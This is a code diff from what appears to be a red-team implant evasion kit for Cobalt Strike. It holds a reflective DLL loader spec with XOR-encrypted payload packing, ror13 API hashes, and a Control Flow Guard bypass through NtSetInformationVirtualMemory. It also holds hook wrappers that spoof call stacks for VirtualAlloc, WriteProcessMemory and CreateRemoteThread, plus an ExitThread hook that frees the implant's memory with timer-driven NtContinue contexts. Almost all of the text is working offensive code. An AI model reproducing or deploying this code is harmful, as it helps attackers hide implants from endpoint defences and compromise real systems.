return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL );
} else if ( call->argc == 12 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) );
} else {
return ( ULONG_PTR ) ( NULL );
}
}
+9
View File
@@ -0,0 +1,9 @@
#define spoof_arg(x) ( ULONG_PTR ) ( x )
typedef struct {
PVOID ptr;
int argc;
ULONG_PTR args[10];
} FUNCTION_CALL;
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
+102
View File
@@ -0,0 +1,102 @@
/*
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// used by both the Pico Loader and DLL loader
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
FARPROC __resolve_hook(DWORD funcHash);
/*
* Structs used by our DLL loader
*/
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
/*
* utility functions
*/
DWORD adler32sum(unsigned char * buffer, DWORD length);
DWORD ror13hash(const char * c);
/*
* printf-style debugging.
*/
void dprintf(char * format, ...);
/*
* PICO running functions
*/
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
int PicoCodeSize(char * src);
int PicoDataSize(char * src);
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
/*
* Resolve functions by walking the export address table
*/
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
HANDLE findModuleByHash(DWORD moduleHash);
/*
* DLL parsing and loading functions
*/
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
void LoadDLL(DLLDATA * dll, char * src, char * dst);
void LoadSections(DLLDATA * dll, char * src, char * dst);
void ParseDLL(char * src, DLLDATA * data);
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
DWORD SizeOfDLL(DLLDATA * data);
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
*/
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
-14
View File
@@ -1,14 +0,0 @@
CC_64=x86_64-w64-mingw32-gcc
all: bin/loader.x64.o
bin:
mkdir bin
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o
clean:
rm -f bin/*
-36
View File
@@ -1,36 +0,0 @@
name "Crystal Kit Postex UDRL"
describe "Evasion Kit for Cobalt Strike"
author "Daniel Duggan (@_RastaMouse)"
x64:
load "bin/loader.x64.o"
make pic +gofirst +optimize +disco +mutate
dfr "resolve" "ror13"
mergelib "../libtcg.x64.zip"
mergelib "../libtp.x64.zip"
load "bin/proxy.x64.o"
make pic
export
preplen
link "draugr"
generate $KEY 128
load "bin/hook.x64.o"
make object +optimize +disco
mergelib "../libtcg.x64.zip"
import "LoadLibraryA, GetProcAddress, SpoofStub"
export
link "hooks"
push $DLL
xor $KEY
preplen
link "dll"
push $KEY
preplen
link "key"
export
-115
View File
@@ -1,115 +0,0 @@
#include <windows.h>
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define NtCurrentProcess() ((HANDLE)(ULONG_PTR)-1)
typedef struct {
ULONG ExtendedProcessInfo;
ULONG ExtendedProcessInfoBuffer;
} EXTENDED_PROCESS_INFORMATION, * PEXTENDED_PROCESS_INFORMATION;
typedef enum _PROCESSINFOCLASS {
ProcessUserModeIOPL = 16,
ProcessCookie = 36
} PROCESSINFOCLASS;
typedef struct _VM_INFORMATION {
DWORD dwNumberOfOffsets;
PULONG plOutput;
PCFG_CALL_TARGET_INFO ptOffsets;
PVOID pMustBeZero;
PVOID pMoarZero;
} VM_INFORMATION, * PVM_INFORMATION;
typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS {
VmPrefetchInformation,
VmPagePriorityInformation,
VmCfgCallTargetInformation
} VIRTUAL_MEMORY_INFORMATION_CLASS;
typedef struct _MEMORY_RANGE_ENTRY {
PVOID VirtualAddress;
SIZE_T NumberOfBytes;
} MEMORY_RANGE_ENTRY, * PMEMORY_RANGE_ENTRY;
typedef enum _MEMORY_INFORMATION_CLASS {
MemoryBasicInformation
} MEMORY_INFORMATION_CLASS;
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory (HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory (HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, PMEMORY_RANGE_ENTRY, PVOID, ULONG);
BOOL CfgEnabled()
{
EXTENDED_PROCESS_INFORMATION procInfo;
memset(&procInfo, 0, sizeof(EXTENDED_PROCESS_INFORMATION));
NTSTATUS status = 0;
procInfo.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
procInfo.ExtendedProcessInfoBuffer = 0;
status = NTDLL$NtQueryInformationProcess(NtCurrentProcess(), ProcessCookie | ProcessUserModeIOPL, &procInfo, sizeof(procInfo), NULL);
if (!NT_SUCCESS(status)) {
return FALSE;
}
return procInfo.ExtendedProcessInfoBuffer;
}
BOOL BypassCfg(PVOID address)
{
MEMORY_BASIC_INFORMATION mbi;
VM_INFORMATION vmi;
MEMORY_RANGE_ENTRY mre;
CFG_CALL_TARGET_INFO cti;
memset(&mbi, 0, sizeof(MEMORY_BASIC_INFORMATION));
memset(&vmi, 0, sizeof(VM_INFORMATION));
memset(&mre, 0, sizeof(MEMORY_RANGE_ENTRY));
memset(&cti, 0, sizeof(CFG_CALL_TARGET_INFO));
NTSTATUS status = NTDLL$NtQueryVirtualMemory(NtCurrentProcess(), address, MemoryBasicInformation, &mbi, sizeof(mbi), 0);
if (!NT_SUCCESS(status)) {
return FALSE;
}
if (mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE) {
return FALSE;
}
cti.Offset = (ULONG_PTR)address - (ULONG_PTR)mbi.BaseAddress;
cti.Flags = CFG_CALL_TARGET_VALID;
mre.NumberOfBytes = (SIZE_T)mbi.RegionSize;
mre.VirtualAddress = (PVOID)mbi.BaseAddress;
ULONG dwOutput = 0;
vmi.dwNumberOfOffsets = 0x1;
vmi.plOutput = &dwOutput;
vmi.ptOffsets = &cti;
vmi.pMustBeZero = 0x0;
vmi.pMoarZero = 0x0;
status = NTDLL$NtSetInformationVirtualMemory(NtCurrentProcess(), VmCfgCallTargetInformation, 1, &mre, (PVOID)&vmi, (ULONG)sizeof(vmi));
if (status == 0xC00000F4) {
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
status = NTDLL$NtSetInformationVirtualMemory(NtCurrentProcess(), VmCfgCallTargetInformation, 1, &mre, (PVOID)&vmi, 24);
}
if (!NT_SUCCESS(status)) {
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
if (status == 0xC0000045) {
/* pretend we bypassed it so timers can continue */
return TRUE;
}
return FALSE;
}
return TRUE;
}
-88
View File
@@ -1,88 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define TEXT_HASH 0xEBC2F9B4
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define LOADLIBRARYW_HASH 0xEC0E4EA4
#define LOADLIBRARYEXW_HASH 0x753A512
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9
#define GETMODULEHANDLEA_HASH 0xD3324904
#define VIRTUALALLOC_HASH 0x91AFCA54
#define VIRTUALALLOCEX_HASH 0x6E1A959C
#define VIRTUALPROTECT_HASH 0x7946C61B
#define VIRTUALPROTECTEX_HASH 0x53D98756
#define VIRTUALFREE_HASH 0x30633AC
#define GETTHREADCONTEXT_HASH 0x68A7C7D2
#define SETTHREADCONTEXT_HASH 0xE8A7C7D3
#define INTERNETOPENA_HASH 0x57E84429
#define INTERNETCONNECTA_HASH 0x1E4BE80E
#define RESUMETHREAD_HASH 0x9E4A3F88
#define CREATETHREAD_HASH 0xCA2BD06B
#define CREATEREMOTETHREAD_HASH 0x72BD9CDD
#define OPENPROCESS_HASH 0xEFE297C0
#define OPENTHREAD_HASH 0x58C91E6F
#define CLOSEHANDLE_HASH 0xFFD97FB
#define CREATEFILEMAPPINGA_HASH 0x56C61229
#define MAPVIEWOFFILE_HASH 0x7B073C59
#define UNMAPVIEWOFFILE_HASH 0xB2089259
#define VIRTUALQUERY_HASH 0xA3C8C8AA
#define DUPLICATEHANDLE_HASH 0xBD566724
#define READPROCESSMEMORY_HASH 0x579D1BE9
#define WRITEPROCESSMEMORY_HASH 0xD83D6AA1
#define EXITTHREAD_HASH 0x60E0CEEF
#define CREATEPROCESSA_HASH 0x16B3FE72
#define SLEEP_HASH 0xDB2D49B0
#define HASH_KEY 13
#ifndef __MINGW32__
#pragma intrinsic( _rotr )
#endif
__forceinline DWORD ror( DWORD d ) {
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
-720
View File
@@ -1,720 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include <wininet.h>
#include "hook.h"
#include "cfg.h"
#include "tcg.h"
/* store resolved functions */
void * g_ExitThread;
/* some globals */
MEMORY_LAYOUT g_layout;
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$VirtualAlloc);
call.argc = 4;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(dwSize);
call.args[2] = (ULONG_PTR)(flAllocationType);
call.args[3] = (ULONG_PTR)(flProtect);
return (LPVOID)draugr(&call);
}
LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$VirtualAllocEx);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpAddress);
call.args[2] = (ULONG_PTR)(dwSize);
call.args[3] = (ULONG_PTR)(flAllocationType);
call.args[4] = (ULONG_PTR)(flProtect);
return (LPVOID)draugr(&call);
}
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$VirtualProtect);
call.argc = 4;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(dwSize);
call.args[2] = (ULONG_PTR)(flNewProtect);
call.args[3] = (ULONG_PTR)(lpflOldProtect);
return (BOOL)draugr(&call);
}
BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$VirtualProtectEx);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpAddress);
call.args[2] = (ULONG_PTR)(dwSize);
call.args[3] = (ULONG_PTR)(flNewProtect);
call.args[4] = (ULONG_PTR)(lpflOldProtect);
return (BOOL)draugr(&call);
}
BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$VirtualFree);
call.argc = 3;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(dwSize);
call.args[2] = (ULONG_PTR)(dwFreeType);
return (BOOL)draugr(&call);
}
BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$GetThreadContext);
call.argc = 2;
call.args[0] = (ULONG_PTR)(hThread);
call.args[1] = (ULONG_PTR)(lpContext);
return (BOOL)draugr(&call);
}
BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$SetThreadContext);
call.argc = 2;
call.args[0] = (ULONG_PTR)(hThread);
call.args[1] = (ULONG_PTR)(lpContext);
return (BOOL)draugr(&call);
}
DWORD WINAPI _ResumeThread(HANDLE hThread)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$ResumeThread);
call.argc = 1;
call.args[0] = (ULONG_PTR)(hThread);
return (DWORD)draugr(&call);
}
HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$CreateThread);
call.argc = 6;
call.args[0] = (ULONG_PTR)(lpThreadAttributes);
call.args[1] = (ULONG_PTR)(dwStackSize);
call.args[2] = (ULONG_PTR)(lpStartAddress);
call.args[3] = (ULONG_PTR)(lpParameter);
call.args[4] = (ULONG_PTR)(dwCreationFlags);
call.args[5] = (ULONG_PTR)(lpThreadId);
return (HANDLE)draugr(&call);
}
HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$CreateRemoteThread);
call.argc = 7;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpThreadAttributes);
call.args[2] = (ULONG_PTR)(dwStackSize);
call.args[3] = (ULONG_PTR)(lpStartAddress);
call.args[4] = (ULONG_PTR)(lpParameter);
call.args[5] = (ULONG_PTR)(dwCreationFlags);
call.args[6] = (ULONG_PTR)(lpThreadId);
return (HANDLE)draugr(&call);
}
HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$OpenProcess);
call.argc = 3;
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
call.args[1] = (ULONG_PTR)(bInheritHandle);
call.args[2] = (ULONG_PTR)(dwProcessId);
return (HANDLE)draugr(&call);
}
HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$OpenThread);
call.argc = 3;
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
call.args[1] = (ULONG_PTR)(bInheritHandle);
call.args[2] = (ULONG_PTR)(dwThreadId);
return (HANDLE)draugr(&call);
}
BOOL WINAPI _CloseHandle(HANDLE hObject)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$CloseHandle);
call.argc = 1;
call.args[0] = (ULONG_PTR)(hObject);
return (BOOL)draugr(&call);
}
HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$CreateFileMappingA);
call.argc = 6;
call.args[0] = (ULONG_PTR)(hFile);
call.args[1] = (ULONG_PTR)(lpFileMappingAttributes);
call.args[2] = (ULONG_PTR)(flProtect);
call.args[3] = (ULONG_PTR)(dwMaximumSizeHigh);
call.args[4] = (ULONG_PTR)(dwMaximumSizeLow);
call.args[5] = (ULONG_PTR)(lpName);
return (HANDLE)draugr(&call);
}
LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$MapViewOfFile);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hFileMappingObject);
call.args[1] = (ULONG_PTR)(dwDesiredAccess);
call.args[2] = (ULONG_PTR)(dwFileOffsetHigh);
call.args[3] = (ULONG_PTR)(dwFileOffsetLow);
call.args[4] = (ULONG_PTR)(dwNumberOfBytesToMap);
return (LPVOID)draugr(&call);
}
BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$MapViewOfFile);
call.argc = 1;
call.args[0] = (ULONG_PTR)(lpBaseAddress);
return (BOOL)draugr(&call);
}
SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$VirtualQuery);
call.argc = 3;
call.args[0] = (ULONG_PTR)(lpAddress);
call.args[1] = (ULONG_PTR)(lpBuffer);
call.args[2] = (ULONG_PTR)(dwLength);
return (SIZE_T)draugr(&call);
}
BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$DuplicateHandle);
call.argc = 7;
call.args[0] = (ULONG_PTR)(hSourceProcessHandle);
call.args[1] = (ULONG_PTR)(hSourceHandle);
call.args[2] = (ULONG_PTR)(hTargetProcessHandle);
call.args[3] = (ULONG_PTR)(lpTargetHandle);
call.args[4] = (ULONG_PTR)(dwDesiredAccess);
call.args[5] = (ULONG_PTR)(bInheritHandle);
call.args[6] = (ULONG_PTR)(dwOptions);
return (BOOL)draugr(&call);
}
BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$ReadProcessMemory);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpBaseAddress);
call.args[2] = (ULONG_PTR)(lpBuffer);
call.args[3] = (ULONG_PTR)(nSize);
call.args[4] = (ULONG_PTR)(lpNumberOfBytesRead);
return (BOOL)draugr(&call);
}
BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten)
{
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(KERNEL32$WriteProcessMemory);
call.argc = 5;
call.args[0] = (ULONG_PTR)(hProcess);
call.args[1] = (ULONG_PTR)(lpBaseAddress);
call.args[2] = (ULONG_PTR)(lpBuffer);
call.args[3] = (ULONG_PTR)(nSize);
call.args[4] = (ULONG_PTR)(lpNumberOfBytesWritten);
return (BOOL)draugr(&call);
}
DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
{
/* is cfg enabled? */
BOOL cfgEnabled = CfgEnabled();
if (cfgEnabled) {
/* try to bypass it at NtContinue */
if (BypassCfg(NTDLL$NtContinue)) {
cfgEnabled = FALSE;
}
}
if (!cfgEnabled)
{
CONTEXT ctx;
memset(&ctx, 0, sizeof(CONTEXT));
ctx.ContextFlags = CONTEXT_ALL;
HANDLE hTimerQueue = NULL;
HANDLE hNewTimer = NULL;
hTimerQueue = KERNEL32$CreateTimerQueue();
if (KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(KERNEL32$RtlCaptureContext), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD))
{
KERNEL32$Sleep(1000);
if (ctx.Rip != 0)
{
HANDLE hHeap = KERNEL32$GetProcessHeap();
PCONTEXT ctxFree = (PCONTEXT)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(CONTEXT) * 3);
for (int i = 0; i < 3; i++) {
memcpy(&ctxFree[i], &ctx, sizeof(CONTEXT));
}
ctxFree[0].Rsp -= sizeof(PVOID);
ctxFree[0].Rip = (DWORD64)(KERNEL32$VirtualFree);
ctxFree[0].Rcx = (DWORD64)(g_layout.dll.baseAddress);
ctxFree[0].Rdx = (DWORD64)(0);
ctxFree[0].R8 = (DWORD64)(MEM_RELEASE);
ctxFree[1].Rsp -= sizeof(PVOID);
ctxFree[1].Rip = (DWORD64)(KERNEL32$VirtualFree);
ctxFree[1].Rcx = (DWORD64)(g_layout.hooks.baseAddress);
ctxFree[1].Rdx = (DWORD64)(0);
ctxFree[1].R8 = (DWORD64)(MEM_RELEASE);
ctxFree[2].Rsp -= sizeof(PVOID);
ctxFree[2].Rip = (DWORD64)(KERNEL32$VirtualFree);
ctxFree[2].Rcx = (DWORD64)(g_layout.pic.baseAddress);
ctxFree[2].Rdx = (DWORD64)(0);
ctxFree[2].R8 = (DWORD64)(MEM_RELEASE);
KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[0], 500, 0, WT_EXECUTEINTIMERTHREAD);
KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[1], 500, 0, WT_EXECUTEINTIMERTHREAD);
KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[2], 500, 0, WT_EXECUTEINTIMERTHREAD);
}
}
}
FUNCTION_CALL call;
memset(&call, 0, sizeof(FUNCTION_CALL));
call.function = (PVOID)(g_ExitThread);
call.argc = 1;
call.args[0] = (ULONG_PTR)(dwExitCode);
draugr(&call);
}
